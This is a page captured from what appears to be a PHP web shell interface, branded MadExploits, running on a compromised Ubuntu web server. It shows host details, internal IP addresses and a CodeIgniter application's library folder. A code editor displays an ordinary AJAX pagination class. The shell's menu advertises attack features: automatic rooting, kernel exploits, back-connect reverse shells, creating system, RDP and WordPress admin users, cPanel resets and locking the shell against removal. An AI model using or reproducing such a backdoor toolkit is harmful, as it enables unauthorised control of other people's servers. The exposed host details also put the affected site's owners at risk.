Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
application /
libraries /
[ HOME SHELL ]
Name
Size
Permission
Action
Ajax_pagination.php
7.15
KB
-rwxr-x--x
Ckeditor.php
14.97
KB
-rwxr-x--x
Ckfinder.php
8.16
KB
-rwxr-x--x
Front_pagination.php
9.78
KB
-rwxr-x--x
Image_lib.php
43.06
KB
-rwxr-x--x
Pagination_function.php
7.24
KB
-rwxr-x--x
Pdfgenerator.php
1.92
KB
-rwxr-x--x
index.html
131
B
-rwxr-x--x
pdf.php
2.53
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Front_pagination.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); /** * Pagination Class * * @package CodeIgniter * @link http://codeigniter.com/user_guide/libraries/pagination.html * * Modified by CodexWorld.com * @Ajax pagination functionality has added with this library. * @It will helps to integrate Ajax pagination with loading image in CodeIgniter application. * @TutorialLink http://www.codexworld.com/ajax-pagination-in-codeigniter-framework/ */ class Front_pagination { var $base_url = ''; // The page we are linking to var $total_rows = ''; // Total number of items (database results) var $per_page = 10; // Max number of items you want shown per page var $num_links = 2; // Number of "digit" links to show before/after the currently viewed page var $cur_page = 0; // The current page being viewed var $first_link = '<div class="c_button__tertiary__icon__left w-embed"><svg class="icon__pagination_arrow_left" width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" clip-rule="evenodd" d="M8.14645 7L3.14645 12C2.95119 12.1953 2.95119 12.5118 3.14645 12.7071L8.14645 17.7071L8.85355 17L4.70711 12.8536H21V11.8536H4.70711L8.85355 7.70711L8.14645 7Z"></path> </svg> <style type="text/css"> .icon__pagination_arrow_left {fill:currentColor;} </style></div><div class="w-inline-block">First</div>'; var $next_link = '»'; var $prev_link = '«'; // var $next_link = ' <div class="c_button__tertiary__icon__right w-embed"><svg class="icon__pagination_arrow_right" width="24" // height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> // <path fill-rule="evenodd" clip-rule="evenodd" // d="M15.8536 7L20.8536 12C21.0488 12.1953 21.0488 12.5118 20.8536 12.7071L15.8536 17.7071L15.1464 17L19.2929 12.8536H3V11.8536H19.2929L15.1464 7.70711L15.8536 7Z"> // </path> // </svg> // <style type="text/css"> // .icon__pagination_arrow_right { // fill: currentColor; // } // </style> // </div>'; // var $prev_link = '<div class="c_button__tertiary__icon__left w-embed"><svg class="icon__pagination_arrow_left" width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> // <path fill-rule="evenodd" clip-rule="evenodd" d="M8.14645 7L3.14645 12C2.95119 12.1953 2.95119 12.5118 3.14645 12.7071L8.14645 17.7071L8.85355 17L4.70711 12.8536H21V11.8536H4.70711L8.85355 7.70711L8.14645 7Z"></path> // </svg> // <style type="text/css"> // .icon__pagination_arrow_left {fill:currentColor;} // </style></div>'; var $last_link = '<div class="w-inline-block">Last</div> <div class="c_button__tertiary__icon__right w-embed"><svg class="icon__pagination_arrow_right" width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" clip-rule="evenodd" d="M15.8536 7L20.8536 12C21.0488 12.1953 21.0488 12.5118 20.8536 12.7071L15.8536 17.7071L15.1464 17L19.2929 12.8536H3V11.8536H19.2929L15.1464 7.70711L15.8536 7Z"> </path> </svg> <style type="text/css"> .icon__pagination_arrow_right { fill: currentColor; } </style> </div>'; var $uri_segment = 3; var $full_tag_open = '<div role="navigation" aria-label="List" class="w-pagination-wrapper c_card_list__pagination__pages">'; var $full_tag_close = '</div>'; var $first_tag_open = ''; var $first_tag_close = ''; var $last_tag_open = ''; var $last_tag_close = ''; var $cur_tag_open = '<a href="javascript:void(0);" class="c_card_list__pagination__children__link w-inline-block w--current" aria-current="page">'; var $cur_tag_close = '</a>'; var $next_tag_open = ''; var $next_tag_close = ''; var $prev_tag_open = ''; var $prev_tag_close = ''; var $num_tag_open = ''; var $num_tag_close = ''; var $target = ''; var $anchor_class = 'c_card_list__pagination__children__link w-inline-block'; var $show_count = true; var $link_func = 'getData'; var $loading = '.loading'; /** * Constructor * @access public * @param array initialization parameters */ function CI_Pagination($params = array()) { if (count($params) > 0) { $this->initialize($params); } log_message('debug', "Pagination Class Initialized"); } /** * Initialize Preferences * @access public * @param array initialization parameters * @return void */ function initialize($params = array()) { if (count($params) > 0) { foreach ($params as $key => $val) { if (isset($this->$key)) { $this->$key = $val; } } } // Apply class tag using anchor_class variable, if set. if ($this->anchor_class != '') { $this->anchor_class = 'class="' . $this->anchor_class . '" '; } } /** * Generate the pagination links * @access public * @return string */ function create_links() { // If our item count or per-page total is zero there is no need to continue. if ($this->total_rows == 0 or $this->per_page == 0) { return ''; } // Calculate the total number of pages $num_pages = ceil($this->total_rows / $this->per_page); // Is there only one page? Hm... nothing more to do here then. if ($num_pages == 1) { $info = '<span class="disresult">Showing : ' . $this->total_rows . '</span>'; return $info; } // Determine the current page number. $CI =& get_instance(); if ($CI->uri->segment($this->uri_segment) != 0) { $this->cur_page = $CI->uri->segment($this->uri_segment); // Prep the current page - no funny business! $this->cur_page = (int) $this->cur_page; } $this->num_links = (int) $this->num_links; if ($this->num_links < 1) { show_error('Your number of links must be a positive number.'); } if (!is_numeric($this->cur_page)) { $this->cur_page = 0; } // Is the page number beyond the result range? // If so we show the last page if ($this->cur_page > $this->total_rows) { $this->cur_page = ($num_pages - 1) * $this->per_page; } $uri_page_number = $this->cur_page; $this->cur_page = floor(($this->cur_page / $this->per_page) + 1); // Calculate the start and end numbers. These determine // which number to start and end the digit links with $start = (($this->cur_page - $this->num_links) > 0) ? $this->cur_page - ($this->num_links - 1) : 1; $end = (($this->cur_page + $this->num_links) < $num_pages) ? $this->cur_page + $this->num_links : $num_pages; // Add a trailing slash to the base URL if needed $this->base_url = rtrim($this->base_url, '/') . '/'; // And here we go... $output = ''; // SHOWING LINKS if ($this->show_count) { $curr_offset = $CI->uri->segment($this->uri_segment); $info = 'Showing ' . ($curr_offset + 1) . ' to '; if (($curr_offset + $this->per_page) < ($this->total_rows - 1)) $info .= $curr_offset + $this->per_page; else $info .= $this->total_rows; $info .= ' of ' . $this->total_rows; $output .= '<span class="disresult">' . $info . '</span>'; } // Render the "First" link if ($this->cur_page > $this->num_links) { $output .= $this->first_tag_open . $this->getAJAXlink('', $this->first_link, 'w-pagination-last c_button__tertiary') . $this->first_tag_close; } // Render the "previous" link if ($this->cur_page != 1) { $i = $uri_page_number - $this->per_page; if ($i == 0) $i = ''; $output .= $this->prev_tag_open . $this->getAJAXlink($i, $this->prev_link) . $this->prev_tag_close; } // Write the digit links for ($loop = $start - 1; $loop <= $end; $loop++) { $i = ($loop * $this->per_page) - $this->per_page; if ($i >= 0) { if ($this->cur_page == $loop) { $output .= $this->cur_tag_open . $loop . $this->cur_tag_close; // Current page } else { $n = ($i == 0) ? '' : $i; $output .= $this->num_tag_open . $this->getAJAXlink($n, $loop) . $this->num_tag_close; } } } // Render the "next" link if ($this->cur_page < $num_pages) { $output .= $this->next_tag_open . $this->getAJAXlink($this->cur_page * $this->per_page, $this->next_link) . $this->next_tag_close; } // Render the "Last" link if (($this->cur_page + $this->num_links) < $num_pages) { $i = (($num_pages * $this->per_page) - $this->per_page); $output .= $this->last_tag_open . $this->getAJAXlink($i, $this->last_link,'w-pagination-last c_button__tertiary') . $this->last_tag_close; } // Kill double slashes. Note: Sometimes we can end up with a double slash // in the penultimate link so we'll kill all double slashes. $output = preg_replace("#([^:])//+#", "\\1/", $output); // Add the wrapper HTML if exists $output = $this->full_tag_open . $output . $this->full_tag_close; ?> <script> function getData(page) { $.ajax({ method: "POST", url: "<?php echo $this->base_url; ?>" + page, data: { page: page }, beforeSend: function () { $('<?php echo $this->loading; ?>').show(); }, success: function (data) { $('<?php echo $this->loading; ?>').hide(); $('<?php echo $this->target; ?>').html(data); $("html, body").animate({ scrollTop: 0 }, "fast"); } }); } </script> <?php return $output; } function getAJAXlink($count, $text, $class = '') { $pageCount = $count ? $count : 0; $page_class = $class != '' ? 'class="' . $class . '" ' : $this->anchor_class; return '<a href="javascript:void(0);"' . $page_class . ' onclick="' . $this->link_func . '(' . $pageCount . ')">' . $text . '</a>'; } } // END Pagination Class
Close